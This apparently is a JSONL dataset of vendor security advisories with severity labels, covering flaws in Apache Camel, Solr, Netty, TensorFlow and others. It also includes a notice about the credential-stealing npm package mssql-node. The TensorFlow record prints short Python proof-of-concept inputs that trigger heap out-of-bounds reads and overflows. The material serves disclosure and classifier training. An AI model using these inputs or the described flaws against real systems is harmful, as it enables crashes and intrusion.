-{"id": "ea2c982290248a1723e7", "text": "Cross-site scripting in recommender-xblock\n\nRecommender before 1.3.1 allows XSS. It is possible for a learner to craft a fake resource to recommender, that includes script which could possibly steal credentials from staff if they are lured into viewing the recommended resource.", "text_raw": "Cross-site scripting in recommender-xblock\n\n[Severity: MEDIUM]\n\nRecommender before 1.3.1 allows XSS. It is possible for a learner to craft a fake resource to recommender, that includes script which could possibly steal credentials from staff if they are lured into viewing the recommended resource.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-21", "split": "train"}
-{"id": "65891ccced2be0b4bff7", "text": "Apache Camel's Jackson and JacksonXML unmarshalling operation are vulnerable to Remote Code Execution attacks\n\nApache Camel's camel-jackson and camel-jacksonxml components are vulnerable to Java object\nde-serialisation vulnerability. Camel allows to specify such a type through the 'CamelJacksonUnmarshalType'\nproperty. De-serializing untrusted data can lead to security flaws as demonstrated in various similar reports about Java de-serialization issues.\n\nMitigation: 2.16.x users should upgrade to 2.16.5, 2.17.x users should upgrade to 2.17.5, 2.18.x users should\nupgrade to 2.18.2.\n\nThe JIRA tickets: https://issues.apache.org/jira/browse/CAMEL-10567 and https://issues.apache.org/jira/browse/CAMEL-10604\nrefers to the various commits that resovoled the issue, and have more details.", "text_raw": "Apache Camel's Jackson and JacksonXML unmarshalling operation are vulnerable to Remote Code Execution attacks\n\n[Severity: CRITICAL]\n\nApache Camel's camel-jackson and camel-jacksonxml components are vulnerable to Java object\nde-serialisation vulnerability. Camel allows to specify such a type through the 'CamelJacksonUnmarshalType'\nproperty. De-serializing untrusted data can lead to security flaws as demonstrated in various similar reports about Java de-serialization issues.\n\nMitigation: 2.16.x users should upgrade to 2.16.5, 2.17.x users should upgrade to 2.17.5, 2.18.x users should\nupgrade to 2.18.2. \n\nThe JIRA tickets: https://issues.apache.org/jira/browse/CAMEL-10567 and https://issues.apache.org/jira/browse/CAMEL-10604\nrefers to the various commits that resovoled the issue, and have more details.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "6725800bb2113f82e8ac", "text": "Improper Certificate Validation in OPCFoundation.NetStandard.Opc.Ua.Core\n\nA Privilege Elevation vulnerability in OPC UA .NET Standard Stack 1.4.363.107 allows attackers to establish a connection using invalid certificates.", "text_raw": "Improper Certificate Validation in OPCFoundation.NetStandard.Opc.Ua.Core\n\n[Severity: MEDIUM]\n\nA Privilege Elevation vulnerability in OPC UA .NET Standard Stack 1.4.363.107 allows attackers to establish a connection using invalid certificates.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "ff2353811a6e761dad0d", "text": "Command Injection in systeminformation\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.26.2\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to `is.services()`, `is.inetChecksite()`, `si.inetLatency()`, `si.networkStats()`, `is.services()` and `si.processLoad()`\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation)", "text_raw": "Command Injection in systeminformation\n\n[Severity: MEDIUM]\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.26.2\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to `is.services()`, `is.inetChecksite()`, `si.inetLatency()`, `si.networkStats()`, `is.services()` and `si.processLoad()`\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "ce14c8b75031101c6874", "text": "Duplicate Advisory: possible DoS caused by malformed signature decoding in Pure-Python ECDSA\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pwfw-mgfj-7g3g. This link is maintained to preserve external references.", "text_raw": "Duplicate Advisory: possible DoS caused by malformed signature decoding in Pure-Python ECDSA\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pwfw-mgfj-7g3g. This link is maintained to preserve external references.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "406e56aa2da2562b783a", "text": "Kentico CMS <=5.5R2.23 Cross-Site Scripting POST Injection Vulnerability", "text_raw": "Kentico CMS <=5.5R2.23 Cross-Site Scripting POST Injection Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-05-31", "split": "train"}
-{"id": "6aebf3bcbbef35a790b7", "text": "Missing encryption in Apache Directory Studio\n\nWhile investigating DIRSTUDIO-1219 it was noticed that configured StartTLS encryption was not applied when any SASL authentication mechanism (DIGEST-MD5, GSSAPI) was used. While investigating DIRSTUDIO-1220 it was noticed that any configured SASL confidentiality layer was not applied. This issue affects Apache Directory Studio version 2.0.0.v20210213-M16 and prior versions.", "text_raw": "Missing encryption in Apache Directory Studio\n\n[Severity: HIGH]\n\nWhile investigating DIRSTUDIO-1219 it was noticed that configured StartTLS encryption was not applied when any SASL authentication mechanism (DIGEST-MD5, GSSAPI) was used. While investigating DIRSTUDIO-1220 it was noticed that any configured SASL confidentiality layer was not applied. This issue affects Apache Directory Studio version 2.0.0.v20210213-M16 and prior versions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "cdcc8e0c15bb07868dde", "text": "Cross-Site Scripting in graylog-web-interface\n\nAll versions of  `graylog-web-interface` are vulnerable to Cross-Site Scripting (XSS). The package fails to escape output on the `TypeAhead` and `QueryInput` components, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in graylog-web-interface\n\n[Severity: HIGH]\n\nAll versions of  `graylog-web-interface` are vulnerable to Cross-Site Scripting (XSS). The package fails to escape output on the `TypeAhead` and `QueryInput` components, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "055106bcff4a10391b2b", "text": "Path Traversal in Apache Camel\n\nApache Camel's File is vulnerable to directory traversal. Camel 2.21.0 to 2.21.3, 2.22.0 to 2.22.2, 2.23.0 and the unsupported Camel 2.x (2.19 and earlier) versions may be also affected.", "text_raw": "Path Traversal in Apache Camel\n\n[Severity: HIGH]\n\nApache Camel's File is vulnerable to directory traversal. Camel 2.21.0 to 2.21.3, 2.22.0 to 2.22.2, 2.23.0 and the unsupported Camel 2.x (2.19 and earlier) versions may be also affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-02", "split": "train"}
-{"id": "03d557e0a1f19cfe3f08", "text": "Possible XSS when using SSO with the CLI in github.com/argoproj/argo-cd/v2\n\n### Impact\n\nWhen using SSO with the Argo CD CLI, a malicious SSO provider could have sent specially crafted error message that would result in XSS on the client by means of executing arbitrary JavaScript code.\n\nWe believe the exploitation of this vulnerability is only be possible when Argo CD is connected to a compromised/malicious SSO provider.\n\n### Patches\n\nA patch for this vulnerability is available with the v1.8.7 and v1.7.14 releases of Argo CD.\n\n### Workarounds\n\n* Do not use SSO with the CLI when you don't trust your SSO provider\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel `#argo-cd`\n\n### Credits\n\nThe issue was found during static code scanning with CodeQL and fixed by the Argo CD team. While we believed that a rogue SSO provider would pose a severe threat by itself, we fixed it like a regular bug.\n\nThe Argo CD team would like to thank Adam Gold of Snyk (https://snyk.io) for stepping up and classifying this correctly as a  security issue and for his help in determining its severity. Also, Snyk kindly reserved and provided the CVE for this vulnerability.\n\nWe fully agree with Adam that this bug is a security vulnerability and justifies publishing a SA, to provide our community and users full transparancy.", "text_raw": "Possible XSS when using SSO with the CLI in github.com/argoproj/argo-cd/v2\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen using SSO with the Argo CD CLI, a malicious SSO provider could have sent specially crafted error message that would result in XSS on the client by means of executing arbitrary JavaScript code.\n\nWe believe the exploitation of this vulnerability is only be possible when Argo CD is connected to a compromised/malicious SSO provider.\n\n### Patches\n\nA patch for this vulnerability is available with the v1.8.7 and v1.7.14 releases of Argo CD.\n\n### Workarounds\n\n* Do not use SSO with the CLI when you don't trust your SSO provider\n\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel `#argo-cd`\n\n### Credits\n\nThe issue was found during static code scanning with CodeQL and fixed by the Argo CD team. While we believed that a rogue SSO provider would pose a severe threat by itself, we fixed it like a regular bug.\n\nThe Argo CD team would like to thank Adam Gold of Snyk (https://snyk.io) for stepping up and classifying this correctly as a  security issue and for his help in determining its severity. Also, Snyk kindly reserved and provided the CVE for this vulnerability.\n\nWe fully agree with Adam that this bug is a security vulnerability and justifies publishing a SA, to provide our community and users full transparancy.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "b6da1bd622d48fa589d3", "text": "Information Disclosure in Apache Groovy\n\nApache Groovy provides extension methods to aid with creating temporary directories. Prior to this fix, Groovy's implementation of those extension methods was using a now superseded Java JDK method call that is potentially not secure on some operating systems in some contexts. Users not using the extension methods mentioned in the advisory are not affected, but may wish to read the advisory for further details. Versions Affected: 2.0 to 2.4.20, 2.5.0 to 2.5.13, 3.0.0 to 3.0.6, and 4.0.0-alpha-1. Fixed in versions 2.4.21, 2.5.14, 3.0.7, 4.0.0-alpha-2.", "text_raw": "Information Disclosure in Apache Groovy\n\n[Severity: MEDIUM]\n\nApache Groovy provides extension methods to aid with creating temporary directories. Prior to this fix, Groovy's implementation of those extension methods was using a now superseded Java JDK method call that is potentially not secure on some operating systems in some contexts. Users not using the extension methods mentioned in the advisory are not affected, but may wish to read the advisory for further details. Versions Affected: 2.0 to 2.4.20, 2.5.0 to 2.5.13, 3.0.0 to 3.0.6, and 4.0.0-alpha-1. Fixed in versions 2.4.21, 2.5.14, 3.0.7, 4.0.0-alpha-2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-09", "split": "train"}
-{"id": "dd73f2f9e38aad46810e", "text": "Pi-Hole AdminLTE Remote Code Execution Vulnerability\n\nAffected: Pi-hole AdminLTE\n\nPi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Pi-Hole AdminLTE Remote Code Execution Vulnerability\n\nAffected: Pi-hole AdminLTE\n\nPi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "48c63fa7d5c506b50007", "text": "mssql-node is malware\n\nThe `mssql-node` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this module is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "mssql-node is malware\n\n[Severity: HIGH]\n\nThe `mssql-node` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this module is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "1ca1411da7e164cf9972", "text": "Improper Certificate Validation in oauth ruby gem\n\nlib/oauth/consumer.rb in the oauth-ruby gem through 0.5.4 for Ruby does not verify server X.509 certificates if a certificate bundle cannot be found, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information.", "text_raw": "Improper Certificate Validation in oauth ruby gem\n\n[Severity: HIGH]\n\nlib/oauth/consumer.rb in the oauth-ruby gem through 0.5.4 for Ruby does not verify server X.509 certificates if a certificate bundle cannot be found, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "7423ec610ff89ed39d24", "text": "Mishandling of format strings in ncurses\n\nncurses exposes functions from the ncurses library which:\n* Pass buffers without length to C functions that may write an arbitrary amount of data, leading to a buffer overflow. (instr, mvwinstr, etc)\n* Passes rust &str to strings expecting C format arguments, allowing hostile input to execute a format string attack, which trivially allows writing arbitrary data to stack memory (functions in the printw family).", "text_raw": "Mishandling of format strings in ncurses\n\n[Severity: HIGH]\n\nncurses exposes functions from the ncurses library which:\n* Pass buffers without length to C functions that may write an arbitrary amount of data, leading to a buffer overflow. (instr, mvwinstr, etc)\n* Passes rust &str to strings expecting C format arguments, allowing hostile input to execute a format string attack, which trivially allows writing arbitrary data to stack memory (functions in the printw family).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "19b28c3085cd4698b1da", "text": "Incomplete validation in `tf.raw_ops.CTCLoss`\n\n### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=True)\n```\n\nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Incomplete validation in `tf.raw_ops.CTCLoss`\n\n[Severity: MEDIUM]\n\n### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n  \ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=True)\n```   \n      \nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "37ab81600ede58ab6eef", "text": "Tryton Improper Access Control\n\nIn `trytond/model/modelstorage.py` in Tryton 4.2 before 4.2.21, 4.4 before 4.4.19, 4.6 before 4.6.14, 4.8 before 4.8.10, and 5.0 before 5.0.6, an authenticated user can order records based on a field for which he has no access right. This may allow the user to guess values.", "text_raw": "Tryton Improper Access Control\n\n[Severity: HIGH]\n\nIn `trytond/model/modelstorage.py` in Tryton 4.2 before 4.2.21, 4.4 before 4.4.19, 4.6 before 4.6.14, 4.8 before 4.8.10, and 5.0 before 5.0.6, an authenticated user can order records based on a field for which he has no access right. This may allow the user to guess values.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-10", "split": "train"}
-{"id": "e1a7f21c212d95eefb3f", "text": "Unrestricted upload of file with dangerous type in Apache Solr\n\nThe 8.1.1 and 8.2.0 releases of Apache Solr contain an insecure setting for the ENABLE_REMOTE_JMX_OPTS configuration option in the default solr.in.sh configuration file shipping with Solr. If you use the default solr.in.sh file from the affected releases, then JMX monitoring will be enabled and exposed on RMI_PORT (default=18983), without any authentication. If this port is opened for inbound traffic in your firewall, then anyone with network access to your Solr nodes will be able to access JMX, which may in turn allow them to upload malicious code for execution on the Solr server.", "text_raw": "Unrestricted upload of file with dangerous type in Apache Solr\n\n[Severity: CRITICAL]\n\nThe 8.1.1 and 8.2.0 releases of Apache Solr contain an insecure setting for the ENABLE_REMOTE_JMX_OPTS configuration option in the default solr.in.sh configuration file shipping with Solr. If you use the default solr.in.sh file from the affected releases, then JMX monitoring will be enabled and exposed on RMI_PORT (default=18983), without any authentication. If this port is opened for inbound traffic in your firewall, then anyone with network access to your Solr nodes will be able to access JMX, which may in turn allow them to upload malicious code for execution on the Solr server.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-28", "split": "train"}
-{"id": "3930a4ac88f4caaa852c", "text": "Liferay Portal Deserialization of Untrusted Data Vulnerability\n\nAffected: Liferay Liferay Portal\n\nLiferay Portal contains a deserialization of untrusted data vulnerability that allows remote attackers to execute code via JSON web services.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Liferay Portal Deserialization of Untrusted Data Vulnerability\n\nAffected: Liferay Liferay Portal\n\nLiferay Portal contains a deserialization of untrusted data vulnerability that allows remote attackers to execute code via JSON web services.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8eb8a7ce3860d2642bae", "text": "HTTP Request Smuggling in Netty\n\nNetty before 4.1.42.Final mishandles whitespace before the colon in HTTP headers (such as a \"Transfer-Encoding : chunked\" line), which leads to HTTP request smuggling.", "text_raw": "HTTP Request Smuggling in Netty\n\n[Severity: HIGH]\n\nNetty before 4.1.42.Final mishandles whitespace before the colon in HTTP headers (such as a \"Transfer-Encoding : chunked\" line), which leads to HTTP request smuggling.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "b37448980550c2d79ae0", "text": "Nexus Repository Manager 3 - Remote Code Execution\n\nSonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).", "text_raw": "Nexus Repository Manager 3 - Remote Code Execution \n\n[Severity: HIGH]\n\nSonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
-{"id": "4c36f4022fc06111a50a", "text": "Insufficiently Protected Credentials in Requests\n\nThe Requests package through 2.19.1 before 2018-09-14 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.", "text_raw": "Insufficiently Protected Credentials in Requests\n\n[Severity: HIGH]\n\nThe Requests package through 2.19.1 before 2018-09-14 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-29", "split": "train"}
-{"id": "2591ebdaf1a0c62edeb5", "text": "EC-CUBE Improper access control in Management screen\n\nImproper access control in Management screen of EC-CUBE 2 series 2.11.2 to 2.17.1 allows a remote authenticated attacker to bypass access restriction and to alter System settings via unspecified vectors.", "text_raw": "EC-CUBE Improper access control in Management screen\n\n[Severity: MEDIUM]\n\nImproper access control in Management screen of EC-CUBE 2 series 2.11.2 to 2.17.1 allows a remote authenticated attacker to bypass access restriction and to alter System settings via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-25", "split": "train"}
-{"id": "bec8c566754a1c54c554", "text": "Denial of Service in uws\n\nAffected versions of `uws` do not properly handle large websocket messages when `permessage-deflate` is enabled, which may result in a denial of service condition.\n\nIf `uws` recieves a 256Mb websocket message when `permessage-deflate` is enabled, the server will compress the message prior to executing the length check, and subsequently extract the message prior to processing. This can result in a situation where an excessively large websocket message passes the length checks, yet still gets cast from a Buffer to a string, which will exceed v8's maximum string size and crash the process.\n\n## Recommendation\n\nUpdate to version 0.10.9 or later.\n\nAlternatively, disable `permessage-deflate`.", "text_raw": "Denial of Service in uws\n\n[Severity: HIGH]\n\nAffected versions of `uws` do not properly handle large websocket messages when `permessage-deflate` is enabled, which may result in a denial of service condition.\n\nIf `uws` recieves a 256Mb websocket message when `permessage-deflate` is enabled, the server will compress the message prior to executing the length check, and subsequently extract the message prior to processing. This can result in a situation where an excessively large websocket message passes the length checks, yet still gets cast from a Buffer to a string, which will exceed v8's maximum string size and crash the process.\n\n\n## Recommendation\n\nUpdate to version 0.10.9 or later.\n\nAlternatively, disable `permessage-deflate`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b100f3c924d9ba8e22fc", "text": "Improper Certificate Validation in Apache activemq-client\n\nTLS hostname verification when using the Apache ActiveMQ Client before 5.15.6 was missing which could make the client vulnerable to a MITM attack between a Java application using the ActiveMQ client and the ActiveMQ server. This is now enabled by default.", "text_raw": "Improper Certificate Validation in Apache activemq-client\n\n[Severity: HIGH]\n\nTLS hostname verification when using the Apache ActiveMQ Client before 5.15.6 was missing which could make the client vulnerable to a MITM attack between a Java application using the ActiveMQ client and the ActiveMQ server. This is now enabled by default.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "f268f718376e8e9ce8d3", "text": "Server-Side Request Forgery in yoast_seo\n\nThe yoast_seo (aka Yoast SEO) extension before 7.2.1 for TYPO3 allows SSRF via a backend user account.", "text_raw": "Server-Side Request Forgery in yoast_seo\n\n[Severity: MEDIUM]\n\nThe yoast_seo (aka Yoast SEO) extension before 7.2.1 for TYPO3 allows SSRF via a backend user account.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d686f3ff736eac01c9d6", "text": "Cross-site Scripting in Apereo CAS\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints.", "text_raw": "Cross-site Scripting in Apereo CAS\n\n[Severity: MEDIUM]\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "fb2c59e811cf3f51eb97", "text": "Cross-site Scripting in Apache Zeppelin\n\nCross Site Scripting vulnerability in markdown interpreter of Apache Zeppelin allows an attacker to inject malicious scripts. This issue affects Apache Zeppelin Apache Zeppelin versions prior to 0.9.0.", "text_raw": "Cross-site Scripting in Apache Zeppelin\n\n[Severity: MEDIUM]\n\nCross Site Scripting vulnerability in markdown interpreter of Apache Zeppelin allows an attacker to inject malicious scripts. This issue affects Apache Zeppelin Apache Zeppelin versions prior to 0.9.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "0ff9b38d7434a0526d50", "text": "Improper Input Validation in klona\n\nFlaw in input validation in npm package klona version 1.1.0 and earlier may allow prototype pollution attack that may result in remote code execution or denial of service of applications using klona.", "text_raw": "Improper Input Validation in klona\n\n[Severity: HIGH]\n\nFlaw in input validation in npm package klona version 1.1.0 and earlier may allow prototype pollution attack that may result in remote code execution or denial of service of applications using klona.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "afca8fd15c331866b368", "text": "github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass\n\n### Impact\nWith a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one.\n\n### Patches\nA patch is available, all users of goxmldsig should upgrade to v1.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig", "text_raw": "github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass\n\n[Severity: MEDIUM]\n\n### Impact\nWith a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one. \n\n### Patches\nA patch is available, all users of goxmldsig should upgrade to v1.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
